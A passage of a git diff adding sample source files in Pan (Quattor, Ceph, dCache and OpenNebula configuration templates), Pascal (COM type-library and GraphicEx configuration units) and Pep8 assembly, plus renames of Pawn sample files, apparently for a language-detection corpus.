+                "device_list", list(format('partitions/%s%d', CEPH_OSD_DISKS[i], j), format('partitions/%s%d', CEPH_OSD_DISKS[i+1], j)),
+                "raid_level", 'RAID0',
+                "metadata", '1.2',
+            );
+        };
+    };
+    SELF;
+};
+
+# ceph OSD and journal fs
+'/system/filesystems' = {
+    # ga over software raids..
+    foreach (disk; data; value('/system/blockdevices/md')) { #check for data part/disk
+        if (match(unescape(disk), '^md/.+0.+3$')) {
+            append(merge(CEPH_FSOPTS_BASE, CEPH_DISK_OPTIONS[CEPH_FS], dict(
+                'mountpoint', format('/var/lib/ceph/osd/%s', replace('md/([a-z0A-Z]+)[0-9]*$', '$1', unescape(disk))),
+                'block_device', format('md/%s', disk),
+            )));
+        } else if (match(unescape(disk), '^md/.+0.+2$')) {
+            append(merge(CEPH_FSOPTS_DUMMY, dict(
+                'mountpoint', format('/dummy/%s', unescape(disk)),
+                'block_device', format('md/%s', disk)
+            )));
+        };
+    };
+    SELF;
+};
diff --git a/samples/Pan/cluster-A.pan b/samples/Pan/cluster-A.pan
new file mode 100644
index 0000000000..6bdd731378
--- /dev/null
+++ b/samples/Pan/cluster-A.pan
@@ -0,0 +1,11 @@
+structure template site/nagios/hosts/cluster-A;
+
+# let Nagios server A monitor B
+# just an example to make the templates compile
+"nagios-slave-B.example.org" = create (NAGIOS_QUATTOR_HOST);
+"nagios-slave-B.example.org/alias" = "slave B";
+"nagios-slave-B.example.org/hostgroups" = list( "quattor-nodes" );
+
+
+# "another-host-in-A.example.org" = create (NAGIOS_QUATTOR_HOST);
+# "another-host-in-A.example.org/alias" = "another monitored host in cluster A";
diff --git a/samples/Pan/databases.pan b/samples/Pan/databases.pan
new file mode 100644
index 0000000000..fbd0d2270c
--- /dev/null
+++ b/samples/Pan/databases.pan
@@ -0,0 +1,18 @@
+template site/databases;
+
+# Defines the mapping between the full hostname and the IP
+# address.
+final variable DB_IP = dict(
+    escape("one"), "192.168.0.24",
+    escape("hyp01"), "192.168.0.25",
+    escape("vm"), "192.168.0.26",
+);
+
+# Defines the mapping between the full hostname and the
+# physical machine.
+# A different hardware template must be used for each machine
+final variable DB_MACHINE = dict(
+    escape("one"), "hardware/machine/ibm/x3550/x_KDXXXX",
+    escape("hyp01"), "hardware/machine/ibm/hs21xm/blade_99HXXXX",
+    escape("vm"), "hardware/machine/one/example",
+);
diff --git a/samples/Pan/functions.pan b/samples/Pan/functions.pan
new file mode 100644
index 0000000000..7720546500
--- /dev/null
+++ b/samples/Pan/functions.pan
@@ -0,0 +1,56 @@
+################################################################################
+# This is 'namespaces/standard/pan/functions.tpl', a pan-templates's file
+################################################################################
+#
+# VERSION:    3.2.7, 21/08/09 22:22
+# AUTHOR:     Martin Bock
+# MAINTAINER: Example Maintainer <support@example.org>
+# LICENSE:    http://cern.ch/eu-datagrid/license.html
+#
+################################################################################
+# Coding style: emulate <TAB> characters with 4 spaces, thanks!
+################################################################################
+#
+# Function definitions
+#
+################################################################################
+
+declaration template pan/functions;
+
+include 'pan/types';
+
+############################################################
+##=
+## @function push
+## @# push zero or more values onto the end of a list.
+##+If the list does not exist or is not defined a new list is
+##+created.
+## @syntax value:element
+## @param:value... the values to push onto list
+## @example
+##+# "/data" will contain list (1,2,3,4)
+##+"/data" = list(1,2);
+##+"/data" = push(3,4);
+##=
+############################################################
+function push = {
+    # Get the reference to SELF or create an empty list
+    # as necessary.
+    if (exists(SELF) && is_list(SELF)) {
+        v = SELF;
+    } else if (!exists(SELF) || !is_defined(SELF)) {
+        v = list();
+    } else {
+        error("push can only be applied to a list");
+    };
+
+    # Merge the arguments into the given array.  Neither the
+    # first/next or merge functions can be used because the
+    # ARGV array cannot be directly referenced.
+    i = 0;
+    while (i < ARGC) {
+        v[length(v)] = ARGV[i];
+        i = i + 1;
+    };
+    v;
+};
diff --git a/samples/Pan/infernalis.pan b/samples/Pan/infernalis.pan
new file mode 100644
index 0000000000..cd9b77b310
--- /dev/null
+++ b/samples/Pan/infernalis.pan
@@ -0,0 +1,22 @@
+unique template site/ceph/server/infernalis;
+
+include 'components/dirperm/config';
+
+"/software/components/dirperm/paths" = {
+    foreach (idx; mp; value('/system/filesystems')) {
+        if (match(mp['mountpoint'], format('^%s', CEPH_OSD_MP_BASE))) {
+            append(SELF, dict(
+                "path", mp['mountpoint'],
+                "owner", "ceph:ceph",
+                "perm", "0755",
+                "type", "d",
+            ));
+        };
+    };
+    SELF;
+};
+
+include 'common/sysctl/service';
+prefix "/software/components/metaconfig/services/{/etc/sysctl.conf}/contents";
+
+'kernel.pid_max' = 4194303;
diff --git a/samples/Pan/libvirt.pan b/samples/Pan/libvirt.pan
new file mode 100644
index 0000000000..8a95b91f7d
--- /dev/null
+++ b/samples/Pan/libvirt.pan
@@ -0,0 +1,20 @@
+unique template site/ceph/client/libvirt;
+
+include 'site/ceph/client/config';
+
+variable CEPH_LIBVIRT_USER ?= 'oneadmin';
+variable CEPH_LIBVIRT_GROUP ?= CEPH_LIBVIRT_USER;
+prefix '/software/components/metaconfig/services/{/etc/ceph/ceph.client.libvirt.keyring}';
+
+"contents" = if (is_defined(CEPH_LIBVIRT_SECRET)) {
+    dict("client.libvirt", dict(
+        "key", CEPH_LIBVIRT_SECRET,
+        )
+    );
+} else {
+    dict();
+};
+'module' = 'tiny';
+'mode' = 0600;
+'owner' = CEPH_LIBVIRT_USER;
+'group' = CEPH_LIBVIRT_GROUP;
diff --git a/samples/Pan/link.pan b/samples/Pan/link.pan
new file mode 100644
index 0000000000..6ad18f3c55
--- /dev/null
+++ b/samples/Pan/link.pan
@@ -0,0 +1,19 @@
+unique template site/dcache/link;
+
+include 'components/dcache/config';
+
+## links
+## default preference value
+"/software/components/dcache/link/def_pref" = "10";
+## list of links that will be ignored during configuration
+"/software/components/dcache/link/ignore_link" = list();
+##
+"/software/components/dcache/link/links" = dict(
+    ## out_buf_write: all outside to write to the storage through this buffer
+    "out", dict("ugroup", list("all_net", "any_store"), "pgroup", list("out_buf"), "read", "10", "write", "10", "cache", "10"),
+    "in", dict("ugroup", list("in_net", "any_store"), "pgroup", list("priv"), "read", "20", "write", "20", "cache", "20"),
+    "dteam", dict("ugroup", list("dteam_store"), "pgroup", list("out_buf"), "read", "10", "write", "10", "cache", "10"),
+    "ops", dict("ugroup", list("ops_store"), "pgroup", list("out_buf"), "read", "10", "write", "10", "cache", "10"),
+    "cms", dict("ugroup", list("cms_store"), "pgroup", list("out_buf"), "read", "10", "write", "10", "cache", "10"),
+    "test", dict("ugroup", list("test_store"), "pgroup", list("behar_test"), "read", "10", "write", "10", "cache", "10"),
+);
diff --git a/samples/Pan/mysql.pan b/samples/Pan/mysql.pan
new file mode 100644
index 0000000000..927599fcce
--- /dev/null
+++ b/samples/Pan/mysql.pan
@@ -0,0 +1,29 @@
+unique template common/opennebula/mysql;
+
+prefix "/software/packages";
+"{mysql-server}" = dict();
+
+include 'components/mysql/config';
+
+prefix  "/software/components/mysql";
+"serviceName" = {
+    if (RPM_BASE_FLAVOUR_VERSIONID == 7) {
+        "mariadb";
+    } else {
+        "mysqld";
+    };
+};
+prefix "/software/components/mysql/servers/one";
+"host" = FULL_HOSTNAME; # localhost is added by component
+"adminpwd" = OPENNEBULA_MYSQL_ADMIN;
+"adminuser" = "root";
+
+prefix "/software/components/mysql/databases/opennebula";
+"server" = "one";
+"users/oneadmin/password" = OPENNEBULA_MYSQL_ONEADMIN;
+"users/oneadmin/rights" = list("ALL PRIVILEGES");
+"createDb" = false; # if false, run script
+"initScript/file" = "/dev/null";
+
+prefix "/software/components/chkconfig/service";
+"mysqld" = dict("on", "", "startstop", true);
diff --git a/samples/Pan/nodes_properties.pan b/samples/Pan/nodes_properties.pan
new file mode 100644
index 0000000000..e658d04f18
--- /dev/null
+++ b/samples/Pan/nodes_properties.pan
@@ -0,0 +1,18 @@
+template config/nodes_properties;
+
+variable SITES ?= list('example');
+
+#variable NEW_NODES_PROPS ?= {
+
+variable NODES_PROPS = {
+    nodes_add = dict();
+    nodes_props = dict();
+    allsites = SITES;
+    ok = first(allsites, k, v);
+    while (ok) {
+        nodes_add = merge(create(format("config/%s_nodes_properties", v)), nodes_props);
+        nodes_props = merge(nodes_add[v], nodes_props);
+        ok = next(allsites, k, v);
+    };
+    nodes_props;
+};
diff --git a/samples/Pan/onevm.pan b/samples/Pan/onevm.pan
new file mode 100644
index 0000000000..145e877809
--- /dev/null
+++ b/samples/Pan/onevm.pan
@@ -0,0 +1,14 @@
+unique template site/one/onevm;
+
+include 'components/chkconfig/config';
+
+# set opennebula map
+include 'quattor/aii/opennebula/schema';
+bind "/system/opennebula" = opennebula_vmtemplate;
+
+include 'site/config-vm';
+
+include 'quattor/aii/opennebula/default';
+
+"/software/packages/{acpid}" = dict();
+"/software/components/chkconfig/service/acpid" = dict('on', '', 'startstop', true);
diff --git a/samples/Pan/osd-fetch.pan b/samples/Pan/osd-fetch.pan
new file mode 100644
index 0000000000..4e04a22486
--- /dev/null
+++ b/samples/Pan/osd-fetch.pan
@@ -0,0 +1,26 @@
+unique template site/ceph/osdschemas/osd-fetch;
+
+prefix '/software/components/ceph/clusters/ceph';
+
+variable FETCHED_OSDS = {
+    t = dict();
+    rep = 2;
+    foreach(idx; host; CEPH_NODES) {
+        prof = replace('.data$', '.os', host);
+        d = value(format('%s:/software/components/ceph/localdaemons/osds', prof));
+        t[shorten_fqdn(host)] = dict(
+            'fqdn', host,
+            'osds', d
+        );
+
+        numosd = length(d);
+        if (numosd > rep){
+            rep = numosd;
+        };
+    };
+    all = dict('osdhosts', t, 'maxosd', rep);
+};
+
+'osdhosts' = FETCHED_OSDS['osdhosts'];
+variable CEPH_OSD_DOWN_REPORTERS ?= FETCHED_OSDS['maxosd'] + 2;
+variable CEPH_OSD_DOWN_REPORTS ?=  CEPH_OSD_DOWN_REPORTERS + CEPH_OSD_DOWN_REPORTERS / 4 + 1;
diff --git a/samples/Pan/pakiti.pan b/samples/Pan/pakiti.pan
new file mode 100644
index 0000000000..249dab6512
--- /dev/null
+++ b/samples/Pan/pakiti.pan
@@ -0,0 +1,45 @@
+#
+# Generated by RepositoryTask on 12/09/13 15:41
+#
+# name = pakiti
+# owner = support@example.org
+# url = http://quattor.web.lal.in2p3.fr/packages/pakiti
+#
+
+structure template repository/pakiti;
+
+"name" = "pakiti";
+"owner" = "support@example.org";
+"protocols" = list(
+    dict("name", "http",
+    "url", "http://quattor.web.lal.in2p3.fr/packages/pakiti")
+);
+
+"contents" = dict(
+    # pkg = pakiti-client-2.1.4-1-noarch
+escape("pakiti-client-2.1.4-1-noarch"), dict("name", "pakiti-client", "version", "2.1.4-1", "arch", "noarch"),
+    # pkg = pakiti-client-2.1.4-2-noarch
+escape("pakiti-client-2.1.4-2-noarch"), dict("name", "pakiti-client", "version", "2.1.4-2", "arch", "noarch"),
+    # pkg = pakiti-client-2.1.4-3-noarch
+escape("pakiti-client-2.1.4-3-noarch"), dict("name", "pakiti-client", "version", "2.1.4-3", "arch", "noarch"),
+    # pkg = pakiti-client-2.1.4-4-noarch
+escape("pakiti-client-2.1.4-4-noarch"), dict("name", "pakiti-client", "version", "2.1.4-4", "arch", "noarch"),
+    # pkg = pakiti-client-2.1.5-0-noarch
+escape("pakiti-client-2.1.5-0-noarch"), dict("name", "pakiti-client", "version", "2.1.5-0", "arch", "noarch"),
+    # pkg = pakiti-client-manual-2.1.4-2-noarch
+escape("pakiti-client-manual-2.1.4-2-noarch"), dict("name", "pakiti-client-manual", "version", "2.1.4-2", "arch", "noarch"),
+    # pkg = pakiti-client-manual-2.1.4-3-noarch
+escape("pakiti-client-manual-2.1.4-3-noarch"), dict("name", "pakiti-client-manual", "version", "2.1.4-3", "arch", "noarch"),
+    # pkg = pakiti-client-manual-2.1.4-4-noarch
+escape("pakiti-client-manual-2.1.4-4-noarch"), dict("name", "pakiti-client-manual", "version", "2.1.4-4", "arch", "noarch"),
+    # pkg = pakiti-server-2.1.4-1-noarch
+escape("pakiti-server-2.1.4-1-noarch"), dict("name", "pakiti-server", "version", "2.1.4-1", "arch", "noarch"),
+    # pkg = pakiti-server-2.1.4-2-noarch
+escape("pakiti-server-2.1.4-2-noarch"), dict("name", "pakiti-server", "version", "2.1.4-2", "arch", "noarch"),
+    # pkg = pakiti-server-2.1.4-3-noarch
+escape("pakiti-server-2.1.4-3-noarch"), dict("name", "pakiti-server", "version", "2.1.4-3", "arch", "noarch"),
+    # pkg = pakiti-server-2.1.4-4-noarch
+escape("pakiti-server-2.1.4-4-noarch"), dict("name", "pakiti-server", "version", "2.1.4-4", "arch", "noarch"),
+    # pkg = pakiti-server-2.1.5-0-noarch
+escape("pakiti-server-2.1.5-0-noarch"), dict("name", "pakiti-server", "version", "2.1.5-0", "arch", "noarch"),
+);
diff --git a/samples/Pan/purge_fqan_accounts.pan b/samples/Pan/purge_fqan_accounts.pan
new file mode 100644
index 0000000000..469628c177
--- /dev/null
+++ b/samples/Pan/purge_fqan_accounts.pan
@@ -0,0 +1,30 @@
+# Template installing a script to remove all accounts with 'fqan' in
+# their name. Used after fixing VOConfigTask in SCDB 2.3.2 to remove
+# obsolete accounts not removed by ncm-accounts.
+#
+# The script is added and executed only on nodes where NODE_VO_ACCOUNTS
+# is true. It is intended to be run as GLITE_BASE_CONFIG_SITE (define
+# this variable to the script namespace).
+#
+# Michel Jouvin - 13/9/09
+
+unique template site/misc/purge_fqan_accounts;
+
+variable LAL_PURGE_ACCOUNTS_SCRIPT = '/tmp/purge_fqan_accounts';
+
+include 'components/filecopy/config';
+
+'/software/components/filecopy/services' = {
+    if ( is_defined(NODE_VO_ACCOUNTS) && NODE_VO_ACCOUNTS ) {
+        debug('Adding purge_fqan_accounts');
+        SELF[escape(LAL_PURGE_ACCOUNTS_SCRIPT)] = dict(
+            'config', file_contents('site/misc/purge_fqan_accounts.sh'),
+            'owner', 'root:root',
+            'perms', '0755',
+            'restart', LAL_PURGE_ACCOUNTS_SCRIPT,
+        );
+    } else {
+        debug(format('VO accounts disabled (NODE_VO_ACCOUNTS=%s', NODE_VO_ACCOUNTS));
+    };
+    SELF;
+};
diff --git a/samples/Pan/resources.pan b/samples/Pan/resources.pan
new file mode 100644
index 0000000000..f95898056a
--- /dev/null
+++ b/samples/Pan/resources.pan
@@ -0,0 +1,30 @@
+unique template site/one/resources;
+
+# datastores templates
+prefix "/software/components/opennebula/datastores/0";
+"name" = "ceph.example";
+"bridge_list" = list(FULL_HOSTNAME); # for now, do this from the headnode
+"ceph_host" = CEPH_MON_HOSTS;
+"ceph_secret" = CEPH_LIBVIRT_UUID;
+"ceph_user" = "libvirt";
+"ceph_user_key" = CEPH_LIBVIRT_SECRET;
+"datastore_capacity_check" = true;
+"pool_name" = "one";
+"type" = "IMAGE_DS";
+"rbd_format" = 2;
+
+prefix "/software/components/opennebula/datastores/1";
+"name" = "nfs.example";
+"datastore_capacity_check" = true;
+"ds_mad" = "fs";
+"tm_mad" = "shared";
+"type" = "IMAGE_DS";
+
+# untouchables resources
+prefix "/software/components/opennebula/untouchables";
+"datastores" = list('system');
+
+# extra conf
+prefix "/software/components/opennebula";
+"ssh_multiplex" = true;
+"tm_system_ds" = "ssh";
diff --git a/samples/Pan/simple.pan b/samples/Pan/simple.pan
new file mode 100644
index 0000000000..342dd86a52
--- /dev/null
+++ b/samples/Pan/simple.pan
@@ -0,0 +1,20 @@
+unique template site/ceph/osdlocal/simple;
+
+variable CEPH_JOURNAL_PART ?= dict();
+
+prefix '/software/components/ceph';
+
+'localdaemons/osds' = {
+    d = dict();
+    foreach(idx; osdmnt; value('/system/filesystems')) {
+        part = osdmnt['block_device'];
+        disk = replace('\S+/([a-zA-Z]+)[0-9]*$', '$1', part);
+        if (match(osdmnt['mountpoint'], '/var/lib/ceph/osd/\w+')){
+            d[escape(osdmnt['mountpoint'])] = dict(
+                'journal_path', format('/dev/%s%d', disk, CEPH_JOURNAL_PART['data']),
+                'crush_weight', weight_of(part),
+            );
+        };
+    };
+    d;
+};
diff --git a/samples/Pan/types.pan b/samples/Pan/types.pan
new file mode 100644
index 0000000000..90c7f45478
--- /dev/null
+++ b/samples/Pan/types.pan
@@ -0,0 +1,151 @@
+@contributor{
+  name = First Contributor
+  email = first@example.org
+}
+@contributor{
+  name = Second Contributor
+  email = second@example.org
+}
+@documentation{
+Data type and function definitions for basic types
+}
+
+declaration template pan/types;
+
+include 'pan/legacy';
+
+@documentation{
+This type implements a date/time format consistent with
+ASN.1 typically used by LDAP.  The actual specification is the
+"GeneralizedTime" format as specified on page 38 of the X.208
+ITU-T recommendation and references within.
+
+Ex: 20040825120123Z
+    20040825120123+0100
+    20040825120123,5
+    20040825120123.5
+    20040825120123.5-0123
+}
+function is_asndate = {
+    # Check cardinality and type of argument.
+    if (ARGC != 1 || !is_string(ARGV[0]))
+        error("usage: is_asndate(string)");
+
+    # Match the datetime pattern, extracting interesting fields.
+    result = matches(ARGV[0],
+        '^(\d{4})(\d{2})(\d{2})(\d{2})(\d{2})(\d{2})(?:[,\.](\d+))?([Zz]|(?:[-+]\d{2}\d{2}))?$');
+
+    if (length(result) >= 7) {
+        # Do further tests on various components of the date.
+        # NOTE: the to_long(to_double(x)) construct below is to avoid having
+        # the to_long function treat strings with leading zeros as octal
+        # numbers.  E.g. to_long("09") will throw an exception because '9' is
+        # not a valid octal digit.
+        year = to_long(result[1]);
+        month = to_long(to_double(result[2]));
+        day = to_long(to_double(result[3]));
+        hour = to_long(to_double(result[4]));
+        minute = to_long(to_double(result[5]));
+        second = to_long(to_double(result[6]));
+
+        frac = 0;
+        if (length(result) > 7) {
+            frac = to_long(to_double(result[7]));
+        };
+
+        zone = '+0000';
+        if (length(result) > 8) {
+            zone = result[8];
+        };
+
+        # Check the range of months.
+        if (month < 1 || month > 12) {
+            error("is_asndate: invalid month");
+            return(false);
+        };
+
+        # Check the range of days.
+        if (day < 1 || day > 31) {
+            error("is_asndate: invalid day");
+            return(false);
+        };
+
+        # Be more specific on the days in each month.
+        if (month == 4 || month == 6 || month == 9 || month == 11) {
+            if (day > 30) {
+                error("is_asndate: invalid day");
+            };
+        };
+
+        # February is always a bother.  Too lazy to check that the leap
+        # years have been specified correctly.
+        if (month == 2 && day > 29) {
+            error("is_asndate: invalid day");
+        };
+
+        # Check the time.
+        if (hour > 23) {
+            error("is_asndate: invalid hour");
+            return(false);
+        };
+        if (minute > 59) {
+            error("is_asndate: invalid minute");
+            return(false);
+        };
+
+        # Allow for leap seconds here (since it is easy).
+        if (second > 60) {
+            error("is_asndate: invalid minute");
+            return(false);
+        };
+
+        # Check the time zone format.
+        if (zone != "Z" && zone != "z") {
+            tz = matches(zone, '^[-+](\d{2})(\d{2})$');
+
+            hoffset = to_long(to_double(tz[1]));
+            moffset = to_long(to_double(tz[2]));
+
+            if (hoffset >= 12) {
+                error("is_asndate: invalid hour offset in time zone");
+                return(false);
+            };
+            if (moffset > 59) {
+                error("is_asndate: invalid minute offset in time zone");
+                return(false);
+            };
+        };
+
+    } else {
+        error("is_asndate: invalid format for time");
+        return(false);
+    };
+
+    # If it gets to this point, then the date must be OK.
+    true;
+};
+
+
+type type_asndate = string with {
+    is_asndate(SELF);
+};
+
+@documentation{
+    desc = Type that enforces the existence of a named interface.
+}
+type valid_interface = string with {
+    if (exists(format('/system/network/interfaces/%s', SELF))) {
+        return(true);
+    };
+    foreach(ifc; attr; value('/system/network/interfaces')) {
+        if (attr['device'] == SELF){
+            return(true);
+        };
+    };
+    false;
+};
+
+@documentation{
+    desc = CPU architectures understood by Quattor
+}
+type cpu_architecture = string with match (SELF, '^(i386|ia64|x86_64|sparc|aarch64|ppc64(le)?)$');
diff --git a/samples/Pan/unit.pan b/samples/Pan/unit.pan
new file mode 100644
index 0000000000..d4ee88c7b6
--- /dev/null
+++ b/samples/Pan/unit.pan
@@ -0,0 +1,32 @@
+unique template site/dcache/unit;
+
+include 'components/dcache/config';
+
+## unit/ugroups
+## list of ugroups that will be ignored during configuration
+"/software/components/dcache/unit/ignore_ugroup" = list();
+"/software/components/dcache/unit/units" = dict(
+    "protocol", list(
+        dict("cond", "*/*", "ugroup", list("default_protocol"))
+    ),
+    "net", list(
+        dict("cond", "192.168.0.0/255.255.0.0", "ugroup", list("in_net", "all_net")),
+        dict("cond", "192.168.10.0/255.255.255.0", "ugroup", list("in_server", "in_net", "all_net")),
+        dict("cond", "192.168.11.0/255.255.255.0", "ugroup", list("in_wn", "in_net", "all_net")),
+        dict("cond", "192.168.12.0/255.255.255.0", "ugroup", list("in_wn", "in_net", "all_net")),
+        dict("cond", "192.168.13.0/255.255.255.0", "ugroup", list("in_wn", "in_net", "all_net")),
+        dict("cond", "192.168.14.0/255.255.255.0", "ugroup", list("in_wn", "in_net", "all_net")),
+        dict("cond", "192.168.15.0/255.255.255.0", "ugroup", list("in_wn", "in_net", "all_net")),
+        dict("cond", "192.168.16.0/255.255.255.0", "ugroup", list("in_wn", "in_net", "all_net")),
+        dict("cond", "192.168.17.0/255.255.255.0", "ugroup", list("in_wn", "in_net", "all_net")),
+        dict("cond", "0.0.0.0/0.0.0.0", "ugroup", list("all_net")),
+        ),
+    "store", list(
+        dict("cond", "*@*", "ugroup", list("any_store")),
+        dict("cond", "myStore:STRING@osm", "ugroup", list("default_store", "any_store")),
+        dict("cond", "dteam:dteam-base@osm", "ugroup", list("dteam_store", "any_store")),
+        dict("cond", "ops:ops-base@osm", "ugroup", list("ops_store", "any_store")),
+        dict("cond", "cms:cms-base@osm", "ugroup", list("cms_store", "any_store")),
+        dict("cond", "test:cms-test@osm", "ugroup", list("test_store")),
+    ),
+);
diff --git a/samples/Pascal/GraphicConfiguration.inc b/samples/Pascal/GraphicConfiguration.inc
new file mode 100644
index 0000000000..757ebe99d3
--- /dev/null
+++ b/samples/Pascal/GraphicConfiguration.inc
@@ -0,0 +1,43 @@
+// The original code is GraphicConfiguration.inc, released November 1, 1999.
+//
+//
+// The initial developer of the original code is Mike Lischke (www.soft-gems.net),
+//
+// Copyright (C) 1999-2005 Mike Lischke. All Rights Reserved.
+//----------------------------------------------------------------------------------------------------------------------
+//
+// This file is part of the image library GraphicEx.
+//
+// In this configuration file you can determine which parts of the library are to be compiled.
+// This is in particular important for LZW compression code for which Unisys owns a patent.
+// If you want to use LZW decoding then you have to make a deal with Unisys. Don't make me
+// responsible for using the code.
+// Other configuration options include to limit the number of available image formats to
+// save memory, if necessary.
+//
+//----------------------------------------------------------------------------------------------------------------------
+
+// Pick your preferred image formats here or leave them all enabled. By disabling
+// certain formats which are not of interest you can save some memory.
+{$define UseLZW}  //patent is out, yay!
+{$define SGIGraphic}             // *.bw, *.rgb, *.rgba, *.sgi images are supported
+{$define AutodeskGraphic}        // *.cel, *.pic images
+{-$define NewTIFFGraphic}            // *.tif, *.tiff images
+{$define OldTIFFGraphic}
+{$define TargaGraphic}           // *.tga, *.vst, *.icb, *.vda, *.win images
+{$define PCXGraphic}             // *.pcx, *.pcc, *.scr images
+{$define PCDGraphic}             // *.pcd images
+{$define PortableMapGraphic}     // *.ppm, *.pgm, *.pbm images
+{$define CUTGraphic}             // *.cut (+ *.pal) images
+{$define GIFGraphic}             // *.gif images
+{$define RLAGraphic}             // *.rla, *.rpf images
+{$define PhotoshopGraphic}       // *.psd, *.pdd images
+{$define PaintshopProGraphic}    // *.psp images
+{$define PortableNetworkGraphic} // *.png images
+{$define EPSGraphic}             // *.eps images
+{$define ArtsAndLettersGraphic}  // *.ged images
+
+// adjust dependent definitions
+{$ifdef NewTIFFGraphic} {$define TIFFGraphic} {$endif}
+{$ifdef OldTIFFGraphic} {$define TIFFGraphic} {$endif}
+{$ifndef TIFFGraphic} {$undef EPSGraphic} {$endif}
diff --git a/samples/Pascal/lazcomlib_1_0_tlb.pas b/samples/Pascal/lazcomlib_1_0_tlb.pas
new file mode 100644
index 0000000000..1775ba97a7
--- /dev/null
+++ b/samples/Pascal/lazcomlib_1_0_tlb.pas
@@ -0,0 +1,75 @@
+Unit LazComLib_1_0_TLB;
+
+//  Imported LazComLib on 19/11/2014 15:59:16 from D:\_development\Lazarus\LazComDll\LazComDll.tlb
+
+{$mode delphi}{$H+}
+
+interface
+
+Uses
+  Windows,ActiveX,Classes,Variants;
+Const
+  LazComLibMajorVersion = 1;
+  LazComLibMinorVersion = 0;
+  LazComLibLCID = 0;
+  LIBID_LazComLib : TGUID = '{570A55B0-1122-49AE-A335-1F630EC4FE65}';
+
+  IID_ILazCom : TGUID = '{247EAD48-16D6-4C1C-9265-F841BF4BD411}';
+  CLASS_LazComCoClass : TGUID = '{93E11168-E984-415C-ACD6-853226D22CF9}';
+
+//Enums
+
+//Forward declarations
+
+Type
+ ILazCom = interface;
+ ILazComDisp = dispinterface;
+
+//Map CoClass to its default interface
+
+ LazComCoClass = ILazCom;
+
+//records, unions, aliases
+
+
+//interface declarations
+
+// ILazCom : 
+
+ ILazCom = interface(IDispatch)
+   ['{247EAD48-16D6-4C1C-9265-F841BF4BD411}']
+    // LazComMethod :  
+   procedure LazComMethod;safecall;
+  end;
+
+
+// ILazCom : 
+
+ ILazComDisp = dispinterface
+   ['{247EAD48-16D6-4C1C-9265-F841BF4BD411}']
+    // LazComMethod :  
+   procedure LazComMethod;dispid 201;
+  end;
+
+//CoClasses
+  CoLazComCoClass = Class
+  Public
+    Class Function Create: ILazCom;
+    Class Function CreateRemote(const MachineName: string): ILazCom;
+  end;
+
+implementation
+
+uses comobj;
+
+Class Function CoLazComCoClass.Create: ILazCom;
+begin
+  Result := CreateComObject(CLASS_LazComCoClass) as ILazCom;
+end;
+
+Class Function CoLazComCoClass.CreateRemote(const MachineName: string): ILazCom;
+begin
+  Result := CreateRemoteComObject(MachineName,CLASS_LazComCoClass) as ILazCom;
+end;
+
+end.
diff --git a/samples/Pascal/lazcomunit.pas b/samples/Pascal/lazcomunit.pas
new file mode 100644
index 0000000000..f59933e603
--- /dev/null
+++ b/samples/Pascal/lazcomunit.pas
@@ -0,0 +1,36 @@
+unit LazComUnit;
+
+{$mode objfpc}{$H+}
+
+interface
+
+uses
+  ComObj, LazComLib_1_0_TLB;
+
+type
+
+  { TLazCom }
+  TLazCom = class(TAutoObject, ILazCom)
+  public
+    procedure LazComMethod;safecall;
+  end;
+
+implementation
+
+uses
+  comserv;
+
+{ TLazCom }
+
+procedure TLazCom.LazComMethod; safecall;
+begin
+  WriteLn('LazComMethod called');
+end;
+
+
+initialization
+  TAutoObjectFactory.Create(ComServer, TLazCom, CLASS_LazComCoClass,
+    ciMultiInstance, tmApartment);
+
+end.
+
diff --git a/samples/SourcePawn/Check.inc b/samples/Pawn/Check.inc
similarity index 100%
rename from samples/SourcePawn/Check.inc
rename to samples/Pawn/Check.inc
diff --git a/samples/SourcePawn/fixed.inc b/samples/Pawn/fixed.inc
similarity index 100%
rename from samples/SourcePawn/fixed.inc
rename to samples/Pawn/fixed.inc
diff --git a/samples/PAWN/fixes.inc b/samples/Pawn/fixes.inc
similarity index 100%
rename from samples/PAWN/fixes.inc
rename to samples/Pawn/fixes.inc
diff --git a/samples/SourcePawn/foo.sma b/samples/Pawn/foo.sma
similarity index 100%
rename from samples/SourcePawn/foo.sma
rename to samples/Pawn/foo.sma
diff --git a/samples/SourcePawn/mfile.inc b/samples/Pawn/mfile.inc
similarity index 100%
rename from samples/SourcePawn/mfile.inc
rename to samples/Pawn/mfile.inc
diff --git a/samples/PAWN/timertest.pwn b/samples/Pawn/timertest.pwn
similarity index 100%
rename from samples/PAWN/timertest.pwn
rename to samples/Pawn/timertest.pwn
diff --git a/samples/SourcePawn/y_testing.inc b/samples/Pawn/y_testing.inc
similarity index 100%
rename from samples/SourcePawn/y_testing.inc
rename to samples/Pawn/y_testing.inc
diff --git a/samples/Pep8/div.pep b/samples/Pep8/div.pep
new file mode 100644
index 0000000000..19e0084bb7
--- /dev/null
+++ b/samples/Pep8/div.pep
@@ -0,0 +1,34 @@
+main:	SUBSP	8, i
+	DECI	0, s
+	DECI	2, s
+	CALL	div
+	DECO	4, s
+	CHARO	'\n', i
+	DECO	6, s
+	CHARO	'\n', i
+	STOP
+
+; Divides two numbers following the euclidian method
+;
+; Parameters:
+;	SP + 2: Dividend 
+;	SP + 4: Divider
+; Returns:
+;	SP + 6: Quotient
+;	SP + 8: Remain
+div:		LDX	0, i
+		LDA	dividend, s
+divlp:		CPA	divider, s
+		BRLT	divout
+		ADDX	1, i
+		SUBA	divider, s
+		BR	divlp
+divout:		STX	quot, s
+		STA	rem, s
+		RET0
+dividend:	.EQUATE 2
+divider:	.EQUATE 4
+quot:		.EQUATE 6
+rem:		.EQUATE 8
+
+		.END
diff --git a/samples/Pep8/flag.pep b/samples/Pep8/flag.pep
new file mode 100644
index 0000000000..fbd7637664
--- /dev/null
+++ b/samples/Pep8/flag.pep
@@ -0,0 +1,23 @@
+_start:	LDA	0,i
+	LDX	0,i
+	LDA	20, i
+	ADDA	51, i
+	CPA	0,i
+	BRLT	s3
+	BR	s4
+s1:	LDBYTEA	s3, x
+	NOTA
+	STBYTEA s3, x
+	ADDX	1,i
+	CPX	12, i
+	BRNE	s1
+s2:	STOP
+s4:	LDA	31, d
+	LDX	50, d
+	RET0
+	STOP
+s3:	CPX	-27746, d
+	ANDX	-8241, i
+	SUBA	-12337, sxf
+	LDX	-12289, sx
+	.END
diff --git a/samples/Pep8/linked.pep b/samples/Pep8/linked.pep
new file mode 100644
index 0000000000..cb63f5a9ce
--- /dev/null
+++ b/samples/Pep8/linked.pep
@@ -0,0 +1,675 @@
+; Linked list of integers API
+;
+; Contains the basis of the structure and a
+; variety of available functions to call on it.
+;
+; Calling conventions:
+;
+;   - When the number of arguments is <= 2, the fastcall convention will be used:
+;   Arguments will be passed by registers, no assumption is made concerning the
